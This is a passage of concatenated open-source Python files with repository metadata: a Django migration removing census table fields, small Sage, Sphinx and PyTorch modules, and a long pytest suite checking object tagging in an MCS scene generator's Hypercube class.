name='LSAD', ), migrations.RemoveField( model_name='cousubtemp', name='MTFCC', ), migrations.RemoveField( model_name='cousubtemp', name='NCTADVFP', ), migrations.RemoveField( model_name='cousubtemp', name='NECTAFP', ), migrations.RemoveField( model_name='cousubtemp', name='STATEABBR', ), migrations.RemoveField( model_name='statetemp', name='DIVISION', ), migrations.RemoveField( model_name='statetemp', name='FUNCSTAT', ), migrations.RemoveField( model_name='statetemp', name='LSAD', ), migrations.RemoveField( model_name='statetemp', name='MTFCC', ), migrations.RemoveField( model_name='statetemp', name='REGION', ), migrations.RemoveField( model_name='statetemp', name='STATEABBR', ), migrations.RemoveField( model_name='statetemp', name='STATEFP', ), migrations.RemoveField( model_name='statetemp', name='STATENS', ), migrations.RemoveField( model_name='statetemp', name='STUSPS', ), ]

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Python

src/sage/manifolds/all.py

defeo/sage

d8822036a9843bd4d75845024072515ede56bcb9

[ "BSL-1.0" ]

2

2018-06-30T01:37:35.000Z

2018-06-30T01:37:39.000Z

src/sage/manifolds/all.py

boothby/sage

1b1e6f608d1ef8ee664bb19e991efbbc68cbd51f

[ "BSL-1.0" ]

null

src/sage/manifolds/all.py

boothby/sage

1b1e6f608d1ef8ee664bb19e991efbbc68cbd51f

[ "BSL-1.0" ]

null

from sage.misc.lazy_import import lazy_import lazy_import('sage.manifolds.manifold', 'Manifold') lazy_import('sage.manifolds.utilities', 'set_axes_labels')

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Python

docs/source/_patch/_sphinx_gallery_patch.py

bomtuckle/pyrolite

c0af0ade14ff26b4e9fdd5a033b27e73df085c55

[ "BSD-3-Clause" ]

69

2019-02-25T00:17:53.000Z

2022-03-31T17:26:48.000Z

docs/source/_patch/_sphinx_gallery_patch.py

bomtuckle/pyrolite

c0af0ade14ff26b4e9fdd5a033b27e73df085c55

[ "BSD-3-Clause" ]

68

2018-07-20T09:01:01.000Z

2022-03-31T16:28:36.000Z

docs/source/_patch/_sphinx_gallery_patch.py

bomtuckle/pyrolite

c0af0ade14ff26b4e9fdd5a033b27e73df085c55

[ "BSD-3-Clause" ]

24

2018-10-02T04:32:10.000Z

2021-11-10T08:24:17.000Z

from .sphinx_gallery_binder import alt_gen_binder_rst from .sphinx_gallery_gen_rst import _save_rst_example from .sphinx_gallery_scrapers import alt_matplotlib_scraper

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py

Python

step3_train_model/pytorch/model/loss.py

weir12/DENA

0653826b4853264af75f7400e309e9e840f085c0

[ "MIT" ]

12

2021-08-21T07:45:46.000Z

2022-03-12T03:12:49.000Z

step3_train_model/pytorch/model/loss.py

q1134269149/DENA

c3cc7e897dd12143ddb06536e3d371f7fcaf3ded

[ "Apache-2.0" ]

7

2022-01-21T16:18:40.000Z

2022-03-31T06:43:28.000Z

step3_train_model/pytorch/model/loss.py

q1134269149/DENA

c3cc7e897dd12143ddb06536e3d371f7fcaf3ded

[ "Apache-2.0" ]

5

2021-08-25T05:07:21.000Z

2022-02-02T09:31:46.000Z

import torch.nn.functional as F import torch.nn as nn def CE_loss(output, target): return nn.CrossEntropyLoss()(output, target)

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88445bd71223a8b9d623a163be5be813237710b9

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py

Python

tests/hypercubes_test.py

NextCenturyCorporation/mcs-scene-generator

e0a6ee778359cadd2de682a5006581b7a6134431

[ "Apache-2.0" ]

4

2021-02-04T03:57:52.000Z

2022-02-08T18:19:58.000Z

tests/hypercubes_test.py

NextCenturyCorporation/mcs-scene-generator

e0a6ee778359cadd2de682a5006581b7a6134431

[ "Apache-2.0" ]

68

2021-05-06T08:52:46.000Z

2022-03-23T16:46:03.000Z

tests/hypercubes_test.py

NextCenturyCorporation/mcs-scene-generator

e0a6ee778359cadd2de682a5006581b7a6134431

[ "Apache-2.0" ]

1

2021-02-04T03:21:57.000Z

import copy from hypercube import Hypercube from hypercube.hypercubes import update_floor_and_walls, update_scene_objects class MockHypercube(Hypercube): def __init__(self): super().__init__('mock', {}, { 'category': 'mock', 'domainsInfo': {}, 'sceneInfo': {'all': []} }) def _create_scenes(self, body_template, goal_template): return [{**body_template, **{'goal': goal_template}}] def _get_training_scenes(self): return self._scenes def create_tags_test_object_1(): return { 'id': 'test_sphere', 'type': 'sphere', 'mass': 0.5, 'materials': ['test_material'], 'moveable': True, 'pickupable': True, 'salientMaterials': ['plastic'], 'debug': { 'dimensions': { 'x': 0.1, 'y': 0.1, 'z': 0.1 }, 'info': ['tiny', 'light', 'blue', 'plastic', 'ball'], 'goalString': 'tiny light blue plastic ball', 'materialCategory': ['plastic'], 'untrainedCategory': False, 'untrainedColor': False, 'untrainedCombination': False, 'untrainedShape': False, 'untrainedSize': False }, 'shows': [{ 'stepBegin': 0, 'position': { 'x': 0, 'y': 0, 'z': 0 } }] } def create_tags_test_object_2(): return { 'id': 'test_cube', 'type': 'cube', 'mass': 2.5, 'materials': ['test_material'], 'moveable': True, 'pickupable': True, 'salientMaterials': ['plastic'], 'debug': { 'dimensions': { 'x': 0.5, 'y': 0.5, 'z': 0.5 }, 'info': ['medium', 'light', 'yellow', 'plastic', 'cube'], 'goalString': 'medium light yellow plastic cube', 'materialCategory': ['plastic'], 'untrainedCategory': False, 'untrainedColor': False, 'untrainedCombination': False, 'untrainedShape': False, 'untrainedSize': False }, 'shows': [{ 'stepBegin': 0, 'position': { 'x': 1, 'y': 2, 'z': 3 } }] } def test_Hypercube_create_scenes_on_init(): hypercube = MockHypercube() assert len(hypercube._scenes) == 1 def test_Hypercube_init_scenes(): hypercube = MockHypercube() scene = hypercube.get_scenes()[0] assert 'category' in scene['goal'] assert 'domainsInfo' in scene['goal'] assert 'objectsInfo' in scene['goal'] assert 'sceneInfo' in scene['goal'] def test_Hypercube_tags(): hypercube = MockHypercube() target = create_tags_test_object_1() scene = hypercube.get_scenes()[0] print(f'{scene}') scene = update_scene_objects(scene, {'target': [target]}) assert set(scene['goal']['objectsInfo']['all']) == { 'target', 'tiny', 'light', 'blue', 'plastic', 'ball', 'trained category', 'trained color', 'trained combination', 'trained shape', 'trained size', 'uncontained' } assert set(scene['goal']['objectsInfo']['target']) == { 'tiny', 'light', 'blue', 'plastic', 'ball', 'trained category', 'trained color', 'trained combination', 'trained shape', 'trained size', 'uncontained' } assert not scene['goal']['sceneInfo']['contained']['target'] assert not scene['goal']['sceneInfo']['untrainedCategory']['target'] assert not scene['goal']['sceneInfo']['untrainedColor']['target'] assert not scene['goal']['sceneInfo']['untrainedCombination']['target'] assert not scene['goal']['sceneInfo']['untrainedShape']['target'] assert not scene['goal']['sceneInfo']['untrainedSize']['target'] assert scene['goal']['sceneInfo']['present']['target'] assert scene['goal']['sceneInfo']['trainedCategory']['target'] assert scene['goal']['sceneInfo']['trainedColor']['target'] assert scene['goal']['sceneInfo']['trainedCombination']['target'] assert scene['goal']['sceneInfo']['trainedShape']['target'] assert scene['goal']['sceneInfo']['trainedSize']['target'] assert scene['goal']['sceneInfo']['uncontained']['target'] assert scene['goal']['sceneInfo']['count']['all'] == 1 assert scene['goal']['sceneInfo']['count']['target'] == 1 def test_Hypercube_tags_multiple_target(): hypercube = MockHypercube() target_1 = create_tags_test_object_1() target_2 = create_tags_test_object_2() scene = hypercube.get_scenes()[0] print(f'{scene}') scene = update_scene_objects( scene, {'target': [target_1, target_2]} ) assert set(scene['goal']['objectsInfo']['all']) == { 'target', 'tiny', 'light', 'blue', 'plastic', 'ball', 'medium', 'light', 'yellow', 'plastic', 'cube', 'trained category', 'trained color', 'trained combination', 'trained shape', 'trained size', 'uncontained' } assert set(scene['goal']['objectsInfo']['target']) == { 'tiny', 'light', 'blue', 'plastic', 'ball', 'medium', 'light', 'yellow', 'plastic', 'cube', 'trained category', 'trained color', 'trained combination', 'trained shape', 'trained size', 'uncontained' } assert not scene['goal']['sceneInfo']['contained']['target'] assert not scene['goal']['sceneInfo']['untrainedCategory']['target'] assert not scene['goal']['sceneInfo']['untrainedColor']['target'] assert not scene['goal']['sceneInfo']['untrainedCombination']['target'] assert not scene['goal']['sceneInfo']['untrainedShape']['target'] assert not scene['goal']['sceneInfo']['untrainedSize']['target'] assert scene['goal']['sceneInfo']['present']['target'] assert scene['goal']['sceneInfo']['trainedCategory']['target'] assert scene['goal']['sceneInfo']['trainedColor']['target'] assert scene['goal']['sceneInfo']['trainedCombination']['target'] assert scene['goal']['sceneInfo']['trainedShape']['target'] assert scene['goal']['sceneInfo']['trainedSize']['target'] assert scene['goal']['sceneInfo']['uncontained']['target'] assert scene['goal']['sceneInfo']['count']['all'] == 2 assert scene['goal']['sceneInfo']['count']['target'] == 2 def test_Hypercube_tags_with_obstacle(): hypercube = MockHypercube() target = create_tags_test_object_1() obstacle = create_tags_test_object_2() scene = hypercube.get_scenes()[0] print(f'{scene}') scene = update_scene_objects( scene, {'target': [target], 'obstacle': [obstacle]} ) assert set(scene['goal']['objectsInfo']['all']) == { 'target', 'obstacle', 'tiny', 'light', 'blue', 'plastic', 'ball', 'medium', 'light', 'yellow', 'plastic', 'cube', 'trained category', 'trained color', 'trained combination', 'trained shape', 'trained size', 'uncontained' } assert set(scene['goal']['objectsInfo']['obstacle']) == { 'medium', 'light', 'yellow', 'plastic', 'cube', 'trained category', 'trained color', 'trained combination', 'trained shape', 'trained size', 'uncontained' } assert set(scene['goal']['objectsInfo']['target']) == { 'tiny', 'light', 'blue', 'plastic', 'ball', 'trained category', 'trained color', 'trained combination', 'trained shape', 'trained size', 'uncontained' } assert not scene['goal']['sceneInfo']['contained']['obstacle'] assert not scene['goal']['sceneInfo']['contained']['target'] assert not scene['goal']['sceneInfo']['untrainedCategory']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedCategory']['target'] assert not scene['goal']['sceneInfo']['untrainedColor']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedColor']['target'] assert not scene['goal']['sceneInfo']['untrainedCombination']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedCombination']['target'] assert not scene['goal']['sceneInfo']['untrainedShape']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedShape']['target'] assert not scene['goal']['sceneInfo']['untrainedSize']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedSize']['target'] assert scene['goal']['sceneInfo']['present']['obstacle'] assert scene['goal']['sceneInfo']['present']['target'] assert scene['goal']['sceneInfo']['trainedCategory']['obstacle'] assert scene['goal']['sceneInfo']['trainedCategory']['target'] assert scene['goal']['sceneInfo']['trainedColor']['obstacle'] assert scene['goal']['sceneInfo']['trainedColor']['target'] assert scene['goal']['sceneInfo']['trainedCombination']['obstacle'] assert scene['goal']['sceneInfo']['trainedCombination']['target'] assert scene['goal']['sceneInfo']['trainedShape']['obstacle'] assert scene['goal']['sceneInfo']['trainedShape']['target'] assert scene['goal']['sceneInfo']['trainedSize']['obstacle'] assert scene['goal']['sceneInfo']['trainedSize']['target'] assert scene['goal']['sceneInfo']['uncontained']['obstacle'] assert scene['goal']['sceneInfo']['uncontained']['target'] assert scene['goal']['sceneInfo']['count']['all'] == 2 assert scene['goal']['sceneInfo']['count']['obstacle'] == 1 assert scene['goal']['sceneInfo']['count']['target'] == 1 def test_Hypercube_tags_multiple_target_multiple_obstacle(): hypercube = MockHypercube() target_1 = create_tags_test_object_1() target_2 = create_tags_test_object_1() obstacle_1 = create_tags_test_object_2() obstacle_2 = create_tags_test_object_2() scene = hypercube.get_scenes()[0] print(f'{scene}') scene = update_scene_objects( scene, { 'target': [target_1, target_2], 'obstacle': [obstacle_1, obstacle_2] } ) assert set(scene['goal']['objectsInfo']['all']) == { 'target', 'obstacle', 'tiny', 'light', 'blue', 'plastic', 'ball', 'medium', 'light', 'yellow', 'plastic', 'cube', 'trained category', 'trained color', 'trained combination', 'trained shape', 'trained size', 'uncontained' } assert set(scene['goal']['objectsInfo']['obstacle']) == { 'medium', 'light', 'yellow', 'plastic', 'cube', 'trained category', 'trained color', 'trained combination', 'trained shape', 'trained size', 'uncontained' } assert set(scene['goal']['objectsInfo']['target']) == { 'tiny', 'light', 'blue', 'plastic', 'ball', 'trained category', 'trained color', 'trained combination', 'trained shape', 'trained size', 'uncontained' } assert not scene['goal']['sceneInfo']['contained']['obstacle'] assert not scene['goal']['sceneInfo']['contained']['target'] assert not scene['goal']['sceneInfo']['untrainedCategory']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedCategory']['target'] assert not scene['goal']['sceneInfo']['untrainedColor']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedColor']['target'] assert not scene['goal']['sceneInfo']['untrainedCombination']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedCombination']['target'] assert not scene['goal']['sceneInfo']['untrainedShape']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedShape']['target'] assert not scene['goal']['sceneInfo']['untrainedSize']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedSize']['target'] assert scene['goal']['sceneInfo']['present']['obstacle'] assert scene['goal']['sceneInfo']['present']['target'] assert scene['goal']['sceneInfo']['trainedCategory']['obstacle'] assert scene['goal']['sceneInfo']['trainedCategory']['target'] assert scene['goal']['sceneInfo']['trainedColor']['obstacle'] assert scene['goal']['sceneInfo']['trainedColor']['target'] assert scene['goal']['sceneInfo']['trainedCombination']['obstacle'] assert scene['goal']['sceneInfo']['trainedCombination']['target'] assert scene['goal']['sceneInfo']['trainedShape']['obstacle'] assert scene['goal']['sceneInfo']['trainedShape']['target'] assert scene['goal']['sceneInfo']['trainedSize']['obstacle'] assert scene['goal']['sceneInfo']['trainedSize']['target'] assert scene['goal']['sceneInfo']['uncontained']['obstacle'] assert scene['goal']['sceneInfo']['uncontained']['target'] assert scene['goal']['sceneInfo']['count']['all'] == 4 assert scene['goal']['sceneInfo']['count']['obstacle'] == 2 assert scene['goal']['sceneInfo']['count']['target'] == 2 def test_Hypercube_tags_with_intuitive_physics_occluder(): hypercube = MockHypercube() target = create_tags_test_object_1() occluder_wall = {'debug': {'info': ['white']}} occluder_pole = {'debug': {'info': ['brown']}} occluder_tag = 'intuitive_physics_occluder' scene = hypercube.get_scenes()[0] print(f'{scene}') scene = update_scene_objects( scene, { 'target': [target], 'intuitive physics occluder': [occluder_wall, occluder_pole] } ) assert set(scene['goal']['objectsInfo']['all']) == { 'target', 'intuitive physics occluder', 'tiny', 'light', 'blue', 'plastic', 'ball', 'white', 'brown', 'trained category', 'trained color', 'trained combination', 'trained shape', 'trained size', 'uncontained' } assert set(scene['goal']['objectsInfo'][occluder_tag]) == { 'white', 'brown' } assert set(scene['goal']['objectsInfo']['target']) == { 'tiny', 'light', 'blue', 'plastic', 'ball', 'trained category', 'trained color', 'trained combination', 'trained shape', 'trained size', 'uncontained' } assert not scene['goal']['sceneInfo']['contained'][occluder_tag] assert not scene['goal']['sceneInfo']['contained']['target'] assert not scene['goal']['sceneInfo']['untrainedCategory'][occluder_tag] assert not scene['goal']['sceneInfo']['untrainedCategory']['target'] assert not scene['goal']['sceneInfo']['untrainedColor'][occluder_tag] assert not scene['goal']['sceneInfo']['untrainedColor']['target'] assert not scene['goal']['sceneInfo']['untrainedCombination'][occluder_tag] assert not scene['goal']['sceneInfo']['untrainedCombination']['target'] assert not scene['goal']['sceneInfo']['untrainedShape'][occluder_tag] assert not scene['goal']['sceneInfo']['untrainedShape']['target'] assert not scene['goal']['sceneInfo']['untrainedSize'][occluder_tag] assert not scene['goal']['sceneInfo']['untrainedSize']['target'] assert scene['goal']['sceneInfo']['trainedCategory']['target'] assert scene['goal']['sceneInfo']['trainedColor']['target'] assert scene['goal']['sceneInfo']['trainedCombination']['target'] assert scene['goal']['sceneInfo']['trainedShape']['target'] assert scene['goal']['sceneInfo']['trainedSize']['target'] assert scene['goal']['sceneInfo']['count']['all'] == 2 assert scene['goal']['sceneInfo']['count'][occluder_tag] == 1 assert scene['goal']['sceneInfo']['count']['target'] == 1 assert scene['goal']['sceneInfo']['present'][occluder_tag] assert scene['goal']['sceneInfo']['present']['target'] assert scene['goal']['sceneInfo']['uncontained']['target'] def test_Hypercube_tags_target_enclosed(): hypercube = MockHypercube() target = create_tags_test_object_1() target['locationParent'] = 'parent' scene = hypercube.get_scenes()[0] print(f'{scene}') scene = update_scene_objects(scene, {'target': [target]}) assert set(scene['goal']['objectsInfo']['all']) == { 'target', 'tiny', 'light', 'blue', 'plastic', 'ball', 'trained category', 'trained color', 'trained combination', 'trained shape', 'trained size', 'contained' } assert set(scene['goal']['objectsInfo']['target']) == { 'tiny', 'light', 'blue', 'plastic', 'ball', 'trained category', 'trained color', 'trained combination', 'trained shape', 'trained size', 'contained' } assert not scene['goal']['sceneInfo']['uncontained']['target'] assert not scene['goal']['sceneInfo']['untrainedCategory']['target'] assert not scene['goal']['sceneInfo']['untrainedColor']['target'] assert not scene['goal']['sceneInfo']['untrainedCombination']['target'] assert not scene['goal']['sceneInfo']['untrainedShape']['target'] assert not scene['goal']['sceneInfo']['untrainedSize']['target'] assert scene['goal']['sceneInfo']['contained']['target'] assert scene['goal']['sceneInfo']['present']['target'] assert scene['goal']['sceneInfo']['trainedCategory']['target'] assert scene['goal']['sceneInfo']['trainedColor']['target'] assert scene['goal']['sceneInfo']['trainedCombination']['target'] assert scene['goal']['sceneInfo']['trainedShape']['target'] assert scene['goal']['sceneInfo']['trainedSize']['target'] assert scene['goal']['sceneInfo']['count']['all'] == 1 assert scene['goal']['sceneInfo']['count']['target'] == 1 def test_Hypercube_tags_target_untrained_category(): hypercube = MockHypercube() target = create_tags_test_object_1() target['debug']['untrainedCategory'] = True scene = hypercube.get_scenes()[0] print(f'{scene}') scene = update_scene_objects(scene, {'target': [target]}) assert set(scene['goal']['objectsInfo']['all']) == { 'target', 'tiny', 'light', 'blue', 'plastic', 'ball', 'untrained category', 'trained color', 'trained shape', 'trained size', 'uncontained', 'trained combination' } assert set(scene['goal']['objectsInfo']['target']) == { 'tiny', 'light', 'blue', 'plastic', 'ball', 'untrained category', 'trained color', 'trained shape', 'trained size', 'uncontained', 'trained combination' } assert not scene['goal']['sceneInfo']['contained']['target'] assert not scene['goal']['sceneInfo']['trainedCategory']['target'] assert not scene['goal']['sceneInfo']['untrainedColor']['target'] assert not scene['goal']['sceneInfo']['untrainedCombination']['target'] assert not scene['goal']['sceneInfo']['untrainedShape']['target'] assert not scene['goal']['sceneInfo']['untrainedSize']['target'] assert scene['goal']['sceneInfo']['present']['target'] assert scene['goal']['sceneInfo']['trainedColor']['target'] assert scene['goal']['sceneInfo']['trainedCombination']['target'] assert scene['goal']['sceneInfo']['trainedShape']['target'] assert scene['goal']['sceneInfo']['trainedSize']['target'] assert scene['goal']['sceneInfo']['uncontained']['target'] assert scene['goal']['sceneInfo']['untrainedCategory']['target'] assert scene['goal']['sceneInfo']['count']['all'] == 1 assert scene['goal']['sceneInfo']['count']['target'] == 1 def test_Hypercube_tags_target_untrained_color(): hypercube = MockHypercube() target = create_tags_test_object_1() target['debug']['untrainedColor'] = True scene = hypercube.get_scenes()[0] print(f'{scene}') scene = update_scene_objects(scene, {'target': [target]}) assert set(scene['goal']['objectsInfo']['all']) == { 'target', 'tiny', 'light', 'blue', 'plastic', 'ball', 'trained category', 'untrained color', 'trained shape', 'trained size', 'uncontained', 'trained combination' } assert set(scene['goal']['objectsInfo']['target']) == { 'tiny', 'light', 'blue', 'plastic', 'ball', 'trained category', 'untrained color', 'trained shape', 'trained size', 'uncontained', 'trained combination' } assert not scene['goal']['sceneInfo']['contained']['target'] assert not scene['goal']['sceneInfo']['trainedColor']['target'] assert not scene['goal']['sceneInfo']['untrainedCategory']['target'] assert not scene['goal']['sceneInfo']['untrainedCombination']['target'] assert not scene['goal']['sceneInfo']['untrainedShape']['target'] assert not scene['goal']['sceneInfo']['untrainedSize']['target'] assert scene['goal']['sceneInfo']['present']['target'] assert scene['goal']['sceneInfo']['trainedCategory']['target'] assert scene['goal']['sceneInfo']['trainedCombination']['target'] assert scene['goal']['sceneInfo']['trainedShape']['target'] assert scene['goal']['sceneInfo']['trainedSize']['target'] assert scene['goal']['sceneInfo']['uncontained']['target'] assert scene['goal']['sceneInfo']['untrainedColor']['target'] assert scene['goal']['sceneInfo']['count']['all'] == 1 assert scene['goal']['sceneInfo']['count']['target'] == 1 def test_Hypercube_tags_target_untrained_combination(): hypercube = MockHypercube() target = create_tags_test_object_1() target['debug']['untrainedCombination'] = True scene = hypercube.get_scenes()[0] print(f'{scene}') scene = update_scene_objects(scene, {'target': [target]}) assert set(scene['goal']['objectsInfo']['all']) == { 'target', 'tiny', 'light', 'blue', 'plastic', 'ball', 'trained category', 'trained color', 'untrained combination', 'trained shape', 'trained size', 'uncontained' } assert set(scene['goal']['objectsInfo']['target']) == { 'tiny', 'light', 'blue', 'plastic', 'ball', 'trained category', 'trained color', 'untrained combination', 'trained shape', 'trained size', 'uncontained' } assert not scene['goal']['sceneInfo']['trainedCombination']['target'] assert not scene['goal']['sceneInfo']['contained']['target'] assert not scene['goal']['sceneInfo']['untrainedCategory']['target'] assert not scene['goal']['sceneInfo']['untrainedColor']['target'] assert not scene['goal']['sceneInfo']['untrainedShape']['target'] assert not scene['goal']['sceneInfo']['untrainedSize']['target'] assert scene['goal']['sceneInfo']['present']['target'] assert scene['goal']['sceneInfo']['trainedCategory']['target'] assert scene['goal']['sceneInfo']['trainedColor']['target'] assert scene['goal']['sceneInfo']['trainedShape']['target'] assert scene['goal']['sceneInfo']['trainedSize']['target'] assert scene['goal']['sceneInfo']['uncontained']['target'] assert scene['goal']['sceneInfo']['untrainedCombination']['target'] assert scene['goal']['sceneInfo']['count']['all'] == 1 assert scene['goal']['sceneInfo']['count']['target'] == 1 def test_Hypercube_tags_target_untrained_shape(): hypercube = MockHypercube() target = create_tags_test_object_1() target['debug']['untrainedShape'] = True scene = hypercube.get_scenes()[0] print(f'{scene}') scene = update_scene_objects(scene, {'target': [target]}) assert set(scene['goal']['objectsInfo']['all']) == { 'target', 'tiny', 'light', 'blue', 'plastic', 'ball', 'trained category', 'trained color', 'untrained shape', 'trained size', 'uncontained', 'trained combination' } assert set(scene['goal']['objectsInfo']['target']) == { 'tiny', 'light', 'blue', 'plastic', 'ball', 'trained category', 'trained color', 'untrained shape', 'trained size', 'uncontained', 'trained combination' } assert not scene['goal']['sceneInfo']['contained']['target'] assert not scene['goal']['sceneInfo']['trainedShape']['target'] assert not scene['goal']['sceneInfo']['untrainedCategory']['target'] assert not scene['goal']['sceneInfo']['untrainedColor']['target'] assert not scene['goal']['sceneInfo']['untrainedCombination']['target'] assert not scene['goal']['sceneInfo']['untrainedSize']['target'] assert scene['goal']['sceneInfo']['present']['target'] assert scene['goal']['sceneInfo']['trainedCategory']['target'] assert scene['goal']['sceneInfo']['trainedColor']['target'] assert scene['goal']['sceneInfo']['trainedCombination']['target'] assert scene['goal']['sceneInfo']['trainedSize']['target'] assert scene['goal']['sceneInfo']['uncontained']['target'] assert scene['goal']['sceneInfo']['untrainedShape']['target'] assert scene['goal']['sceneInfo']['count']['all'] == 1 assert scene['goal']['sceneInfo']['count']['target'] == 1 def test_Hypercube_tags_target_untrained_size(): hypercube = MockHypercube() target = create_tags_test_object_1() target['debug']['untrainedSize'] = True scene = hypercube.get_scenes()[0] print(f'{scene}') scene = update_scene_objects(scene, {'target': [target]}) assert set(scene['goal']['objectsInfo']['all']) == { 'target', 'tiny', 'light', 'blue', 'plastic', 'ball', 'trained category', 'trained color', 'trained combination', 'trained shape', 'untrained size', 'uncontained' } assert set(scene['goal']['objectsInfo']['target']) == { 'tiny', 'light', 'blue', 'plastic', 'ball', 'trained category', 'trained color', 'trained combination', 'trained shape', 'untrained size', 'uncontained' } assert not scene['goal']['sceneInfo']['contained']['target'] assert not scene['goal']['sceneInfo']['trainedSize']['target'] assert not scene['goal']['sceneInfo']['untrainedCategory']['target'] assert not scene['goal']['sceneInfo']['untrainedColor']['target'] assert not scene['goal']['sceneInfo']['untrainedCombination']['target'] assert not scene['goal']['sceneInfo']['untrainedShape']['target'] assert scene['goal']['sceneInfo']['present']['target'] assert scene['goal']['sceneInfo']['trainedCategory']['target'] assert scene['goal']['sceneInfo']['trainedColor']['target'] assert scene['goal']['sceneInfo']['trainedCombination']['target'] assert scene['goal']['sceneInfo']['trainedShape']['target'] assert scene['goal']['sceneInfo']['uncontained']['target'] assert scene['goal']['sceneInfo']['untrainedSize']['target'] assert scene['goal']['sceneInfo']['count']['all'] == 1 assert scene['goal']['sceneInfo']['count']['target'] == 1 def test_Hypercube_tags_target_enclosed_untrained_everything(): hypercube = MockHypercube() target = create_tags_test_object_1() target['locationParent'] = 'parent' target['debug']['untrainedCategory'] = True target['debug']['untrainedColor'] = True target['debug']['untrainedShape'] = True target['debug']['untrainedSize'] = True scene = hypercube.get_scenes()[0] print(f'{scene}') scene = update_scene_objects(scene, {'target': [target]}) assert set(scene['goal']['objectsInfo']['all']) == { 'target', 'tiny', 'light', 'blue', 'plastic', 'ball', 'untrained category', 'untrained color', 'untrained shape', 'untrained size', 'contained', 'trained combination' } assert set(scene['goal']['objectsInfo']['target']) == { 'tiny', 'light', 'blue', 'plastic', 'ball', 'untrained category', 'untrained color', 'untrained shape', 'untrained size', 'contained', 'trained combination' } assert not scene['goal']['sceneInfo']['trainedCategory']['target'] assert not scene['goal']['sceneInfo']['trainedColor']['target'] assert not scene['goal']['sceneInfo']['trainedShape']['target'] assert not scene['goal']['sceneInfo']['trainedSize']['target'] assert not scene['goal']['sceneInfo']['untrainedCombination']['target'] assert not scene['goal']['sceneInfo']['uncontained']['target'] assert scene['goal']['sceneInfo']['contained']['target'] assert scene['goal']['sceneInfo']['present']['target'] assert scene['goal']['sceneInfo']['trainedCombination']['target'] assert scene['goal']['sceneInfo']['untrainedCategory']['target'] assert scene['goal']['sceneInfo']['untrainedColor']['target'] assert scene['goal']['sceneInfo']['untrainedShape']['target'] assert scene['goal']['sceneInfo']['untrainedSize']['target'] assert scene['goal']['sceneInfo']['count']['all'] == 1 assert scene['goal']['sceneInfo']['count']['target'] == 1 def test_Hypercube_tags_obstacle_enclosed(): hypercube = MockHypercube() target = create_tags_test_object_1() obstacle = create_tags_test_object_2() obstacle['locationParent'] = 'parent' scene = hypercube.get_scenes()[0] print(f'{scene}') scene = update_scene_objects( scene, {'target': [target], 'obstacle': [obstacle]} ) assert set(scene['goal']['objectsInfo']['all']) == { 'target', 'obstacle', 'tiny', 'light', 'blue', 'plastic', 'ball', 'medium', 'light', 'yellow', 'plastic', 'cube', 'trained category', 'trained color', 'trained combination', 'trained shape', 'trained size', 'contained', 'uncontained' } assert set(scene['goal']['objectsInfo']['obstacle']) == { 'medium', 'light', 'yellow', 'plastic', 'cube', 'trained category', 'trained color', 'trained combination', 'trained shape', 'trained size', 'contained' } assert set(scene['goal']['objectsInfo']['target']) == { 'tiny', 'light', 'blue', 'plastic', 'ball', 'trained category', 'trained color', 'trained combination', 'trained shape', 'trained size', 'uncontained' } assert not scene['goal']['sceneInfo']['contained']['target'] assert not scene['goal']['sceneInfo']['uncontained']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedCategory']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedCategory']['target'] assert not scene['goal']['sceneInfo']['untrainedColor']['target'] assert not scene['goal']['sceneInfo']['untrainedColor']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedColor']['target'] assert not scene['goal']['sceneInfo']['untrainedCombination']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedCombination']['target'] assert not scene['goal']['sceneInfo']['untrainedShape']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedShape']['target'] assert not scene['goal']['sceneInfo']['untrainedSize']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedSize']['target'] assert scene['goal']['sceneInfo']['contained']['obstacle'] assert scene['goal']['sceneInfo']['present']['obstacle'] assert scene['goal']['sceneInfo']['present']['target'] assert scene['goal']['sceneInfo']['trainedCategory']['obstacle'] assert scene['goal']['sceneInfo']['trainedCategory']['target'] assert scene['goal']['sceneInfo']['trainedColor']['obstacle'] assert scene['goal']['sceneInfo']['trainedColor']['target'] assert scene['goal']['sceneInfo']['trainedCombination']['obstacle'] assert scene['goal']['sceneInfo']['trainedCombination']['target'] assert scene['goal']['sceneInfo']['trainedShape']['obstacle'] assert scene['goal']['sceneInfo']['trainedShape']['target'] assert scene['goal']['sceneInfo']['trainedSize']['obstacle'] assert scene['goal']['sceneInfo']['trainedSize']['target'] assert scene['goal']['sceneInfo']['uncontained']['target'] assert scene['goal']['sceneInfo']['count']['all'] == 2 assert scene['goal']['sceneInfo']['count']['obstacle'] == 1 assert scene['goal']['sceneInfo']['count']['target'] == 1 def test_Hypercube_tags_obstacle_untrained_category(): hypercube = MockHypercube() target = create_tags_test_object_1() obstacle = create_tags_test_object_2() obstacle['debug']['untrainedCategory'] = True scene = hypercube.get_scenes()[0] print(f'{scene}') scene = update_scene_objects( scene, {'target': [target], 'obstacle': [obstacle]} ) assert set(scene['goal']['objectsInfo']['all']) == { 'target', 'obstacle', 'tiny', 'light', 'blue', 'plastic', 'ball', 'medium', 'light', 'yellow', 'plastic', 'cube', 'trained category', 'trained color', 'trained combination', 'trained shape', 'trained size', 'uncontained', 'untrained category' } assert set(scene['goal']['objectsInfo']['obstacle']) == { 'medium', 'light', 'yellow', 'plastic', 'cube', 'untrained category', 'trained color', 'trained shape', 'trained size', 'uncontained', 'trained combination' } assert set(scene['goal']['objectsInfo']['target']) == { 'tiny', 'light', 'blue', 'plastic', 'ball', 'trained category', 'trained color', 'trained combination', 'trained shape', 'trained size', 'uncontained' } assert not scene['goal']['sceneInfo']['contained']['obstacle'] assert not scene['goal']['sceneInfo']['contained']['target'] assert not scene['goal']['sceneInfo']['trainedCategory']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedCategory']['target'] assert not scene['goal']['sceneInfo']['untrainedColor']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedColor']['target'] assert not 